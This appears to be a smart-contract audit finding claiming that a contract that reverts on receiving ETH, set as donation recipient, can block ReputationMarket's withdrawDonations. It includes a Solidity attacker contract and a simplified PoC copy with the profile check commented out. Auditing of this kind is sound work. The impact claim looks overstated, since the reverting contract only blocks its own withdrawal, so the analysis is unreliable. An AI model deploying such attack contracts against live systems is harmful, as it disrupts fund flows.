Fast Concrete Otter

Medium

# Malicious contract as a donation recipient can block withdraw donations

### Summary

Malicious contract as a `donationRecipient` linked to a `profileId` can block `ReputationMarket::withdrawDonations`.

Depending on how profiles are verified and whether they strictly represent wallet addresses, this issue may be irrelevant. However, according to the documentation for `EthosProfile.sol`:

> Users can associate multiple addresses with a single profile ID, enabling participation from any wallet they own.
> Users are encouraged to register different addresses with their profile ID.

This flexibility allows users to associate contract addresses with their `profileId`. A malicious contract linked as the `donationRecipient` could exploit this mechanism to block the `ReputationMarket::withdrawDonations` function, disrupting withdrawal services for the corresponding market.



### Root Cause

- In [`ReputationMarket::updateDonationRecipient::l.559`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L559C5-L559C49)] after checks new recipient is added permanently as the new `donationRecipient`.

- In [`ReputationMarket::withdrawDonations::l.580`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L580) is sending ETH to the `donationRecipient` that could be a malicious contract.

### Internal pre-conditions

1. Ethos profile accepts contract as addresses linked to a specific id
2. Malicious contract needs to be in the list of addresses linked to the profile id and verified.

### External pre-conditions

_No response_

### Attack Path

1. Deploy a malicious contract capable of reverting on Eth transfers:
```solidity
contract AttackWithdrawDonations {
    ReputationMarket reputationMarket;

    constructor() {}

    function attackWithdraw(address _reputationMarket) public {
        ReputationMarket(_reputationMarket).withdrawDonations();
    }

    receive() external payable {
        revert(); // Blocks Ether transfers
    }
}
```

2. Associate the malicious contract with a `profileID` as the `donationRecipient` by calling `ReputationMarket::updateDonationRecipient`. This is feasible if `_ethosProfileContract().verifiedProfileIdForAddress(newRecipient)` allows contract addresses:
```solidity
uint256 recipientProfileId = _ethosProfileContract().verifiedProfileIdForAddress(newRecipient);
if (recipientProfileId != profileId) revert InvalidProfileId();
```

3. When the malicious contract attempts to withdraw donations via `ReputationMarket::withdrawDonations`, it will revert on Eth transfer:
```solidity
(bool success, ) = msg.sender.call{value: amount}("");
if (!success) revert FeeTransferFailed("Donation withdrawal failed");
```


### Impact

Even if the protocol has mechanisms to disallow malicious addresses, this attack could temporarily disable the withdrawal functionality, a critical feature of the market process. This could degrade user experience and impact market operations until the issue is resolved.

### PoC

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

contract ReputationMarket {

    error InsufficientFunds();
    error FeeTransferFailed(string message);
    error ZeroAddress();
    error InvalidProfileId();

    uint256 constant private PROFILE_ID = 777;

    mapping(address => uint256) public donationEscrow;
    mapping(uint256 => address) public donationRecipient;

    event DonationWithdrawn(address indexed recipient, uint256 amount);
    event DonationRecipientUpdated(
        uint256 indexed profileId, address indexed oldRecipient, address indexed newRecipient
    );

    constructor() payable {
        if (msg.value < 5 ether) revert("Not enough fund");
        donationEscrow[msg.sender] = msg.value;
        donationRecipient[PROFILE_ID] = msg.sender;
    }

    /**
     * @dev Updates the donation recipient for a market
     * @notice Only the current donation recipient can update the recipient
     * @notice The new recipient must have the same Ethos profileId as the market
     * @param profileId The profile ID of the market to update
     * @param newRecipient The new address to receive donations
     */
    function updateDonationRecipient(uint256 profileId, address newRecipient) public {
        if (newRecipient == address(0)) revert ZeroAddress();

        // if the new donation recipient has a balance, do not allow overwriting
        // this is so rare, do we really need a custom error?
        // @audit-gas consider using custom event -> Yes for gas opti
        require(donationEscrow[newRecipient] == 0, "Donation recipient has balance");

        // Ensure the sender is the current donation recipient
        if (msg.sender != donationRecipient[profileId]) revert InvalidProfileId();

        // Ensure the new recipient has the same Ethos profileId

        // @audit-issue the only check possible to avoid a bad contract address (only wallet?)
        // uint256 recipientProfileId = _ethosProfileContract().verifiedProfileIdForAddress(newRecipient);
        // if (recipientProfileId != profileId) revert InvalidProfileId();

        // Update the donation recipient reference
        donationRecipient[profileId] = newRecipient;
        // Swap the current donation balance to the new recipient
        donationEscrow[newRecipient] += donationEscrow[msg.sender];
        donationEscrow[msg.sender] = 0;
        emit DonationRecipientUpdated(profileId, msg.sender, newRecipient);
    }


    /**
     * @dev Allows a user to withdraw their accumulated donations from escrow
     * @return amount The amount withdrawn
     */
    function withdrawDonations() public returns (uint256) {
        uint256 amount = donationEscrow[msg.sender];
        if (amount == 0) {
            revert InsufficientFunds();
        }

        // Reset escrow balance before transfer to prevent reentrancy
        donationEscrow[msg.sender] = 0;

        // Transfer the funds
        (bool success,) = msg.sender.call{value: amount}("");
        if (!success) revert FeeTransferFailed("Donation withdrawal failed");

        emit DonationWithdrawn(msg.sender, amount);
        return amount;
    }
}

contract AttackWithdrawDonations {
    ReputationMarket reputationMarket;

    constructor() {}

    function attackWithdraw(address _reputationMarket) public {
        ReputationMarket(_reputationMarket).withdrawDonations();
    }

    receive() external payable {
        revert();
    }
}
```

### Mitigation

Evaluate the verification process for profiles to ensure malicious contract addresses cannot be added to the `profileId` list. This could involve:

1. Enhancing guards in `_ethosProfileContract().verifiedProfileIdForAddress` to disallow contract addresses.
2. Restricting the `profileId` list to include only externally owned accounts (EOAs).
3. Implementing additional validation when updating the `donationRecipient` to mitigate such risks.

This approach ensures that only legitimate wallet addresses can act as `donationRecipient`, preventing malicious contracts from disrupting withdrawal functionality.